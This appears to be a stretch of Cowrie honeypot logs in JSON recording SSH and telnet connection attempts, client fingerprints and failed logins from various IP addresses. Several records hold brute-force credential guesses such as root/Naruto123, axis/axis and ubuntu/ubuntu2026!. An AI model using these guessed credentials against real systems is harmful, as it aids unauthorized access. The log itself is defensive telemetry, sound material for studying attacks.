{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:53:f4:ab:ee:50:e0:2f:9f:15:9e:f9:ac:9c:96:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYKktR3b3p3A9jWbOrjQ0hMkOJCeU+v7zKT6+7cNZSZUj+xy6Q7k+dAEkLyjWhlJ7U0g8D+bfqnRTrnQkTeX2obiHDh8V/rBP9ZSUcU3hvFDaFQ3SpmddJDK6XTiZatoNGR22MsAxwd7t3sVvInkt0jRJ0GVDRo7LATgxs9jXckFjm99wHACzxdq89kS1/fYxOmDhViYsfD52jQD1hKiciSgrdun2TtCpHMS7W80HMFMlF2GjcLa/GEha25Wbey4AXrIxSsoMTyrJAKTtTWveKedaiL2Q/A4slYvOT+cNnt1L4hKVz51JE/8kZ+SNYG7l3se9pSky9lditL6ftRSQx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:00.696634Z","src_ip":"142.44.247.134","session":"50228047da29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"75:97:01:e0:f9:31:13:14:a6:1d:b8:0a:5f:1a:5f:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoOApbM9G9ecNx4i04oZg+eFMEWL/881lJwsi634OdeT7ILDPKb4M+9huNfP9t1w5mhbobyDVHVLWjQ8IVvAyTdRp5pbI1dfp5YTCRloZoLXb8GH263t46H8FlZlXqvKIWbK/dxPPYr1FL9OolbIsaapAnyQm/igkp+ljEFeGv7DUdG0lIxjeZp4LSWBIb6q4mZpJC1zzRG6ZJ75DdaNlap4oI9ahbRFidtdGUCTJRdkIIidf12k2/SJF8+xiuhUSS60JnQwVpBeL4KgqptuGb6Nr4w+EXSoIA/SLaaKAirjoqJauyToo/d02RFvmlkS1EDKHKHY5wDxtCn2ZVt+lKw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 75:97:01:e0:f9:31:13:14:a6:1d:b8:0a:5f:1a:5f:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:00.723634Z","src_ip":"142.44.247.134","session":"50228047da29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"75:97:01:e0:f9:31:13:14:a6:1d:b8:0a:5f:1a:5f:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoOApbM9G9ecNx4i04oZg+eFMEWL/881lJwsi634OdeT7ILDPKb4M+9huNfP9t1w5mhbobyDVHVLWjQ8IVvAyTdRp5pbI1dfp5YTCRloZoLXb8GH263t46H8FlZlXqvKIWbK/dxPPYr1FL9OolbIsaapAnyQm/igkp+ljEFeGv7DUdG0lIxjeZp4LSWBIb6q4mZpJC1zzRG6ZJ75DdaNlap4oI9ahbRFidtdGUCTJRdkIIidf12k2/SJF8+xiuhUSS60JnQwVpBeL4KgqptuGb6Nr4w+EXSoIA/SLaaKAirjoqJauyToo/d02RFvmlkS1EDKHKHY5wDxtCn2ZVt+lKw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:00.727007Z","src_ip":"142.44.247.134","session":"50228047da29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:0c:a8:0d:64:88:35:b8:1f:90:9e:a4:4d:87:88:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqkIyoCHVYMQ1oaZnufAN8CsY8uQ7fQsIU04YMIPnGpFZfRRle1vEkcIM6dhWZRf5D/TyIERjIJLCNmE0Cnovot/FAxILGaxLN/dkmvt9cKz98JB2ZEPQpAskngOp23YnZKbSKEQFfqyURmnrGauaCpsrkRsJskdPFDOM1hgy7TNg7sq4gCwcbymdCdr1TXgo3+e/LO+Bi6kpNvu9qOdiXgtHhxV8v/Ih+ESOlL2Z+KTW/Ir8X0wkFwNCyJNXD9xtAXgLXmNksfcenPsVF7FT4EsLurYMCRlS5Hqph2FdLQXoH9E2DL6rjm3N1TIZg3wPSUF85q3Z4taP+9xVEHvMy9G8+ce1X1s6KR9tjp5eVYUchiWlN+viHCQyItwm7TAwX1VTrSm2x0Pgv6A05WvgtNqOv++wm2dOVGt33pX5Pv1fwXORnSepOsP2gAWySSe6+OyODZ647sbJfX4Ayb9vygY6mIb7or0u/fm2i5h447tnA7B42fBQ0oi/hudk43ewN1h423CG5S4OQnTL6rHAU5V6jWBuMRr6ZsE1fflZSObRsIhu4+ZfvWzkjIWPvDGfhrE2bc05mfeTtOKhBndJU5BjbiQ6Xuj9TNS+ELRb/7EUQWlnsNdbd0Q+CTwfmYktGLFCGYi4qn2Uo/dV+SYJLXSa227dw3em/XihPewdGzw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:0c:a8:0d:64:88:35:b8:1f:90:9e:a4:4d:87:88:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:00.747762Z","src_ip":"142.44.247.134","session":"50228047da29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:0c:a8:0d:64:88:35:b8:1f:90:9e:a4:4d:87:88:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqkIyoCHVYMQ1oaZnufAN8CsY8uQ7fQsIU04YMIPnGpFZfRRle1vEkcIM6dhWZRf5D/TyIERjIJLCNmE0Cnovot/FAxILGaxLN/dkmvt9cKz98JB2ZEPQpAskngOp23YnZKbSKEQFfqyURmnrGauaCpsrkRsJskdPFDOM1hgy7TNg7sq4gCwcbymdCdr1TXgo3+e/LO+Bi6kpNvu9qOdiXgtHhxV8v/Ih+ESOlL2Z+KTW/Ir8X0wkFwNCyJNXD9xtAXgLXmNksfcenPsVF7FT4EsLurYMCRlS5Hqph2FdLQXoH9E2DL6rjm3N1TIZg3wPSUF85q3Z4taP+9xVEHvMy9G8+ce1X1s6KR9tjp5eVYUchiWlN+viHCQyItwm7TAwX1VTrSm2x0Pgv6A05WvgtNqOv++wm2dOVGt33pX5Pv1fwXORnSepOsP2gAWySSe6+OyODZ647sbJfX4Ayb9vygY6mIb7or0u/fm2i5h447tnA7B42fBQ0oi/hudk43ewN1h423CG5S4OQnTL6rHAU5V6jWBuMRr6ZsE1fflZSObRsIhu4+ZfvWzkjIWPvDGfhrE2bc05mfeTtOKhBndJU5BjbiQ6Xuj9TNS+ELRb/7EUQWlnsNdbd0Q+CTwfmYktGLFCGYi4qn2Uo/dV+SYJLXSa227dw3em/XihPewdGzw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:00.751713Z","src_ip":"142.44.247.134","session":"50228047da29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c8:ad:16:a2:fc:4f:01:be:e8:b1:40:69:fa:c1:15:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfd+chrJM0wZePWZxBF2m/xTBe1M0LFjBN7uSRPCOEeY85Qw8PV/Y6xCYp/r895qSDKZmfRE64pfYVITW3j6oAGH7/tyy9dFZZkjhdxbtCma9qvcXU1+w+VtgI5H+HNRRe0yrtY47Hz6XbUYb9Ge3bYz3TrULHQ/uBi4xb2jDci8AK84ccHUbz+KsuU5w3vtfZ0qd5fdNCIJZbYq1cnuEUSvKShJwDAPchUo/RfYuzSZCFXpcwhWYg8ZRbTHq+6H+JlOHayv+58pHKxLhbymFfDsD3r86mbXfaKHPOyXIhFgqJ7X1JNyCQ1fWcLlSLWRq4cs6DsvcvXd8b8qeS3gmZ1f6fTCk0EXW6Lkm87S3kBqWSWKAqGRLzLVDmwrY3YuLNOoxEntxhwNFOab00ZxR3kZNarjTjg8lE6fZ2tjKzYhC0vHfqQ5ldt4q5V/lg3nwekXe3BjOp5TZKjjMbnmkCWOPekqdHhpw8SomMfFYsOd3bTHDQqdWRszzMHVZZIjc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c8:ad:16:a2:fc:4f:01:be:e8:b1:40:69:fa:c1:15:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:00.773202Z","src_ip":"142.44.247.134","session":"50228047da29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c8:ad:16:a2:fc:4f:01:be:e8:b1:40:69:fa:c1:15:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfd+chrJM0wZePWZxBF2m/xTBe1M0LFjBN7uSRPCOEeY85Qw8PV/Y6xCYp/r895qSDKZmfRE64pfYVITW3j6oAGH7/tyy9dFZZkjhdxbtCma9qvcXU1+w+VtgI5H+HNRRe0yrtY47Hz6XbUYb9Ge3bYz3TrULHQ/uBi4xb2jDci8AK84ccHUbz+KsuU5w3vtfZ0qd5fdNCIJZbYq1cnuEUSvKShJwDAPchUo/RfYuzSZCFXpcwhWYg8ZRbTHq+6H+JlOHayv+58pHKxLhbymFfDsD3r86mbXfaKHPOyXIhFgqJ7X1JNyCQ1fWcLlSLWRq4cs6DsvcvXd8b8qeS3gmZ1f6fTCk0EXW6Lkm87S3kBqWSWKAqGRLzLVDmwrY3YuLNOoxEntxhwNFOab00ZxR3kZNarjTjg8lE6fZ2tjKzYhC0vHfqQ5ldt4q5V/lg3nwekXe3BjOp5TZKjjMbnmkCWOPekqdHhpw8SomMfFYsOd3bTHDQqdWRszzMHVZZIjc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:00.776416Z","src_ip":"142.44.247.134","session":"50228047da29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:00.797009Z","src_ip":"142.44.247.134","session":"50228047da29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":53842,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f6fb8663c38","protocol":"ssh","message":"New connection: 2.57.122.238:53842 (159.203.135.109:22) [session: 2f6fb8663c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:07.738792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:07.743457Z","src_ip":"2.57.122.238","session":"2f6fb8663c38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:07.845959Z","src_ip":"2.57.122.238","session":"2f6fb8663c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth_docker","password":"eth_docker","message":"login attempt [eth_docker/eth_docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:08.150957Z","src_ip":"2.57.122.238","session":"2f6fb8663c38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":52148,"dst_ip":"10.17.0.5","dst_port":22,"session":"2173bd6def9f","protocol":"ssh","message":"New connection: 111.238.174.6:52148 (10.17.0.5:22) [session: 2173bd6def9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:08.202752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:08.207144Z","src_ip":"111.238.174.6","session":"2173bd6def9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:08.396556Z","src_ip":"111.238.174.6","session":"2173bd6def9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"12","message":"login attempt [server/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:09.162058Z","src_ip":"111.238.174.6","session":"2173bd6def9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:09.254189Z","src_ip":"2.57.122.238","session":"2f6fb8663c38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33206,"dst_ip":"159.203.135.109","dst_port":23,"session":"37f4442f9907","protocol":"telnet","message":"New connection: 128.199.8.54:33206 (159.203.135.109:23) [session: 37f4442f9907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:09.368863Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:10.347751Z","src_ip":"111.238.174.6","session":"2173bd6def9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":42534,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d8a63ca971c","protocol":"telnet","message":"New connection: 132.148.22.172:42534 (10.17.0.5:23) [session: 9d8a63ca971c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:25.325786Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.128.201.18","src_port":52200,"dst_ip":"159.203.135.109","dst_port":22,"session":"96ad3502d783","protocol":"ssh","message":"New connection: 190.128.201.18:52200 (159.203.135.109:22) [session: 96ad3502d783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:31.020409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:31.026785Z","src_ip":"190.128.201.18","session":"96ad3502d783","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:31.163312Z","src_ip":"190.128.201.18","session":"96ad3502d783","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"axis","password":"axis","message":"login attempt [axis/axis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:31.741689Z","src_ip":"190.128.201.18","session":"96ad3502d783","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:32.881394Z","src_ip":"190.128.201.18","session":"96ad3502d783","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52978,"dst_ip":"159.203.135.109","dst_port":23,"session":"656c7ee3ab28","protocol":"telnet","message":"New connection: 128.199.8.54:52978 (159.203.135.109:23) [session: 656c7ee3ab28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:47.047236Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":48336,"dst_ip":"10.17.0.5","dst_port":22,"session":"98768ac0abbc","protocol":"ssh","message":"New connection: 4.213.224.194:48336 (10.17.0.5:22) [session: 98768ac0abbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:49.514441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:49.522135Z","src_ip":"4.213.224.194","session":"98768ac0abbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:49.730718Z","src_ip":"4.213.224.194","session":"98768ac0abbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Naruto123","message":"login attempt [root/Naruto123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:50.598794Z","src_ip":"4.213.224.194","session":"98768ac0abbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:51.811381Z","src_ip":"4.213.224.194","session":"98768ac0abbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.129.44.66","src_port":33582,"dst_ip":"10.17.0.5","dst_port":22,"session":"9458c227b8b2","protocol":"ssh","message":"New connection: 43.129.44.66:33582 (10.17.0.5:22) [session: 9458c227b8b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:51.871257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:51.875910Z","src_ip":"43.129.44.66","session":"9458c227b8b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:52.127078Z","src_ip":"43.129.44.66","session":"9458c227b8b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.62284564971924,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:52.991577Z","src_ip":"128.199.8.54","session":"37f4442f9907","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu2026!","message":"login attempt [ubuntu/ubuntu2026!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:53.164462Z","src_ip":"43.129.44.66","session":"9458c227b8b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:54.420841Z","src_ip":"43.129.44.66","session":"9458c227b8b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.513005256652832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:58:56.838702Z","src_ip":"132.148.22.172","session":"9d8a63ca971c","protocol":"telnet"}
